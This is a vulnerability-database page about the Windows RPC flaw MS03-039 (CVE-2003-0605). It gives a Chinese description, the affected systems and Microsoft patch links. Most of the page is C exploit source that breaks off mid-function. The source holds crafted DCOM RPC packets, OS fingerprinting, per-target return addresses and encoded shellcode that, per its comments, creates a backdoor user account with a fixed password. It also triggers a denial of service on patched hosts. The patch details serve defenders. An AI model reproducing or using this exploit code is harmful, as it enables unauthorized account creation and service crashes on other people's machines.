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RootSSV:13808HistoryOct 09, 2003 - 12:00 a.m.
MS Windows (RPC2) Universal Exploit & DoS (RPC3) (MS03-039)
2003-10-0900:00:00
Root
www.seebug.org
23
0.968 High
EPSS
Percentile
99.6%
<p><strong>漏洞描述：</strong></p><p>Remote Procedure Call (RPC)是Windows操作系统使用的一种远程过程调用协议，RPC提供进程间交互通信机制，允许在某台计算机上运行程序无缝的在远程系统上执行代码。协议本身源自OSF RPC协议，但增加了Microsoft特定的扩展。MS RPC在处理畸形消息时存在问题，远程攻击者可以利用这个漏洞进行拒绝服务攻击，在RPC服务崩溃后，可用来权限提升攻击。 攻击者发送畸形消息给DCOM __RemoteGetClassObject接口，RPC服务就会崩溃，所有依靠RPC服务的应用程序和服务就会变的不正常。 如果攻击者拥有合法帐户，在RPC服务崩溃后他还可以劫持管道和135端口进行权限提升攻击。</p><p><strong>漏洞影响：</strong></p><p>受影响的系统: </p><p> •Microsoft Windows NT Workstation 4.0 </p><p>•Microsoft Windows NT Server® 4.0 </p><p>•Microsoft Windows NT Server 4.0, Terminal Server Edition </p><p>•Microsoft Windows 2000 •Microsoft Windows XP </p><p>•Microsoft Windows Server 2003 </p><p>不受影响的系统: </p><p>•Microsoft Windows Millennium Edition </p><p><strong>CVE-ID： CVE-2003-0605 </strong></p><p><strong>CNNVD-ID：CNNVD-200308-204</strong></p><p><strong>CNVD-ID：CNVD-2003-2258 </strong></p><p><strong>解决方案：</strong></p><p>Microsoft -</p><p>-------- </p><p>Microsoft已经为此发布了一个安全公告（MS03-039）以及相应补丁:</p><p>MS03-039：Buffer Overrun In RPCSS Service Could Allow Code Execution(824146)链接：<a href=“http://www.microsoft.com/technet/security/bulletin/MS03-039.asp”>http://www.microsoft.com/technet/security/bulletin/MS03-039.asp</a></p><p>补丁下载：Windows NT Workstation 4.0: <a href=“http://www.microsoft.com/downloads/details.aspx?FamilyId=7EABAD74-9CA9-48F4-8DB5-CF8C188879DA&displaylang=zh-cn”>http://www.microsoft.com/downloads/details.aspx?FamilyId=7EABAD74-9CA9-48F4-8DB5-CF8C188879DA&displaylang=zh-cn</a> </p><p>Windows NT Server 4.0：<a href=“http://www.microsoft.com/downloads/details.aspx?FamilyId=71B6135C-F957-4702-B376-2DACCE773DC0&displaylang=zh-cn”>http://www.microsoft.com/downloads/details.aspx?FamilyId=71B6135C-F957-4702-B376-2DACCE773DC0&displaylang=zh-cn</a> </p><p>Windows NT Server 4.0, Terminal Server Edition: <a href=“http://www.microsoft.com/downloads/details.aspx?FamilyId=677229F8-FBBF-4FF4-A2E9-506D17BB883F”>http://www.microsoft.com/downloads/details.aspx?FamilyId=677229F8-FBBF-4FF4-A2E9-506D17BB883F</a> </p><p>Windows 2000: <a href=“http://www.microsoft.com/downloads/details.aspx?FamilyId=F4F66D56-E7CE-44C3-8B94-817EA8485DD1&displaylang=zh-cn”>http://www.microsoft.com/downloads/details.aspx?FamilyId=F4F66D56-E7CE-44C3-8B94-817EA8485DD1&displaylang=zh-cn</a> </p><p>Windows XP: <a href=“http://www.microsoft.com/downloads/details.aspx?FamilyId=5FA055AE-A1BA-4D4A-B424-95D32CFC8CBA&displaylang=zh-cn”>http://www.microsoft.com/downloads/details.aspx?FamilyId=5FA055AE-A1BA-4D4A-B424-95D32CFC8CBA&displaylang=zh-cn</a> </p><p>Windows XP 64 bit Edition: <a href=“http://www.microsoft.com/downloads/details.aspx?FamilyId=50E4FB51-4E15-4A34-9DC3-7053EC206D65”>http://www.microsoft.com/downloads/details.aspx?FamilyId=50E4FB51-4E15-4A34-9DC3-7053EC206D65</a> </p><p>Windows XP 64 bit Edition Version 2003: <a href=“http://www.microsoft.com/downloads/details.aspx?FamilyId=80AB25B3-E387-441F-9B6D-84106F66059B”>http://www.microsoft.com/downloads/details.aspx?FamilyId=80AB25B3-E387-441F-9B6D-84106F66059B</a> </p><p>Windows Server 2003: <a href=“http://www.microsoft.com/downloads/details.aspx?FamilyId=51184D09-4F7E-4F7B-87A4-C208E9BA4787&displaylang=zh-cn”>http://www.microsoft.com/downloads/details.aspx?FamilyId=51184D09-4F7E-4F7B-87A4-C208E9BA4787&displaylang=zh-cn</a> </p><p>Windows Server 2003 64 bit Edition: <a href=“http://www.microsoft.com/downloads/details.aspx?FamilyId=80AB25B3-E387-441F-9B6D-84106F66059B”>http://www.microsoft.com/downloads/details.aspx?FamilyId=80AB25B3-E387-441F-9B6D-84106F66059B</a></p><p>对于Windows 2000用户，我们建议您安装完Windows 2000 SP4之后再安装上述补丁:<a href=“http://www.microsoft.com/Windows2000/downloads/servicepacks/sp4/download.asp”>http://www.microsoft.com/Windows2000/downloads/servicepacks/sp4/download.asp</a></p><p> </p><p>对于Windows NT 4.0用户，我们建议您安装完SP6a之后再安装上述补丁:<a href=“http://www.microsoft.com/NTServer/nts/downloads/recommended/SP6/allsp6.asp”>http://www.microsoft.com/NTServer/nts/downloads/recommended/SP6/allsp6.asp</a></p>
/* Windows RPC2 Universal Exploit (MS03-039) & Remote DoS (RPC3) */
/* Must be used with the associated shell */
/* */
/* This exploit works against unpatched systems (MS03-039) */
/* And cause a Denial of Service on patched systems (rpc3) */
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
FILE *fp1;
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00,
0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
void XOR(unsigned char *buf,int offset,int lenght,unsigned char mask)
{
for(int i=offset;i<(offset+lenght);i++)
buf[i]=buf[i]^mask;
}
DWORD GETSTRCS(char *buf)
{
DWORD cs=0;
bool cld=false;
for(unsigned int i=0;i<strlen(buf);i++)
{
for(int z=0;z<13;z++)
{
if(cs&1) cld=true;
cs=cs>>1;
if(cld) cs=cs|0x80000000;
cld=false;
}
cs+=buf[i];
}
return cs;
}
struct {
DWORD seh;
DWORD jmp;
DWORD heap;
char target[200];
} target_os[]=
{
{
0x005Bfd2c,
0x00081eeb,
0x00180000,
"WinXP"
},
{
0x0095fd3c,
0x00081eeb,
0x00170000,
"Win2K"
}
},v;
unsigned char rawData1[]=
"\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00"
"\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00"
"\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e"
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2"
//SHELLCODE From SAM ,THANKs !
//Add user SST,password is 557,
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D"
"\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C"
"\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99"
"\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9"
"\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6"
"\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED"
"\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE"
"\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12"
"\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED"
"\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA"
"\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB"
"\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66"
"\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
"\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
"\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
"\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99"
"\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
"\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a"
"\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90" //
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x77\xe0\x43\x00\x00\x10\x5c\x00"
"\xeb\x1e\x01\x00"// FOR CN SP3/SP4+-MS03-26
"\x4C\x14\xec\x77"// TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os
//FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form my artic
//"Utilization of released heap structure and exploit of universal Heap overflow in windows ".
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14"
"\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA"
"\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF"
"\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99"
"\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1"
"\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7"
"\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99"
"\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA"
"\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9"
"\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1"
"\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8"
"\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99"
"\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9"
"\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99"
"\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12"
"\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98"
"\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99"
"\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12"
"\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12"
"\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA"
"\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD"
"\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A"
"\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2"
"\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12"
"\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31"
"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66"
"\x04\x04\x00\x70\x00\x04\x40"
"\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00"
"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71";
int version(char ip[16], int sock)
{
//un poco de ettercap...
unsigned char peer0_0[] = {
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00,
0xcc, 0x00, 0x00, 0x00, 0x84, 0x67, 0xbe, 0x18,
0x31, 0x14, 0x5c, 0x16, 0x00, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00,
0xb8, 0x4a, 0x9f, 0x4d, 0x1c, 0x7d, 0xcf, 0x11,
0x86, 0x1e, 0x00, 0x20, 0xaf, 0x6e, 0x7c, 0x57,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
0x02, 0x00, 0x01, 0x00, 0xa0, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00,
0x0a, 0x42, 0x24, 0x0a, 0x00, 0x17, 0x21, 0x41,
0x2e, 0x48, 0x01, 0x1d, 0x13, 0x0b, 0x04, 0x4d,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
0x04, 0x00, 0x01, 0x00, 0xb0, 0x01, 0x52, 0x97,
0xca, 0x59, 0xcf, 0x11, 0xa8, 0xd5, 0x00, 0xa0,
0xc9, 0x0d, 0x80, 0x51, 0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00 };
unsigned char peer0_1[] = {
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00,
0xaa, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x05, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x28, 0x63, 0x29, 0x20,
0x75, 0x65, 0x72, 0x84, 0x20, 0x73, 0x73, 0x53,
0x20, 0x82, 0x80, 0x67, 0x00, 0x00, 0x00, 0x00,
0x80, 0x1d, 0x94, 0x5e, 0x96, 0xbf, 0xcd, 0x11,
0xb5, 0x79, 0x08, 0x00, 0x2b, 0x30, 0xbf, 0xeb,
0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x5c, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x00, 0x00,
0x41, 0x00, 0x41, 0x00, 0x5c, 0x00, 0x43, 0x00,
0x24, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x2e, 0x00,
0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00,
0x58, 0x73, 0x0b, 0x00, 0x01, 0x00, 0x00, 0x00,
0x31, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00 };
/*
unsigned char win2kvuln[] = {
0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00};
*/
fd_set fds2;
unsigned char buf[1024];
int l;
struct timeval tv2;
FD_ZERO(&fds2);
FD_SET(sock, &fds2);
tv2.tv_sec = 6;
tv2.tv_usec = 0;
memset(buf,'\0',sizeof(buf));
send(sock,(char *)peer0_0,sizeof(peer0_0),0);
if(select(sock +1, &fds2, NULL, NULL, &tv2) > 0)
{
l=recv (sock, (char *)buf, sizeof (buf),0);
// for(i=0;i<52;i++)
// {
// if (i==28) i=i+4;
// if (buf[i+32]!=win2kvuln)
// {
send(sock,(const char *)peer0_1,sizeof(peer0_1),0);
if(select(sock +1, &fds2, NULL, NULL, &tv2) > 0)
{
memset(buf,'\0',sizeof(buf));
l=recv (sock, (char *)buf, sizeof (buf),0);
if (l==32)
{
closesocket(sock);
return(1);//winxp
}
else
{
#ifdef WIN32
closesocket(sock);
#else
close(sock);
#endif
return(0);//win2kby default. Nt4 not added..
}
}
else return(-1);
// }
//}
// closesocket(sock);
// return(0);//win2k
}
closesocket(sock);
return(-1); //Unknown
}
/********************************************************************************/
int attack(char *ip1,bool atack)
{
unsigned char rawData[1036];
memcpy(rawData,rawData1,1036);
unsigned char shellcode[50000];
char ip[200];
strcpy(ip,ip1);
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[50000];
unsigned char buf2[50000];
printf("%s\n",ip);
//printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n");
//printf("Code by FlashSky,Flashsky xfocus org\n");
//printf("Welcome to our Site: http://www.xfocus.org\n");
//printf("Welcome to our Site: http://www.venustech.com.cn\n");
/* if(argc!=3)
{
printf("%s targetIP targetOS\ntargets:\n",argv[0]);
for(int i=0;i<sizeof(target_os)/sizeof(v);i++)
printf("%d - %s\n",i,target_os.target);
printf("\n%x\n",GETSTRCS(argv[1]));
return;
}
*/
/* if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
*/
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(ip);
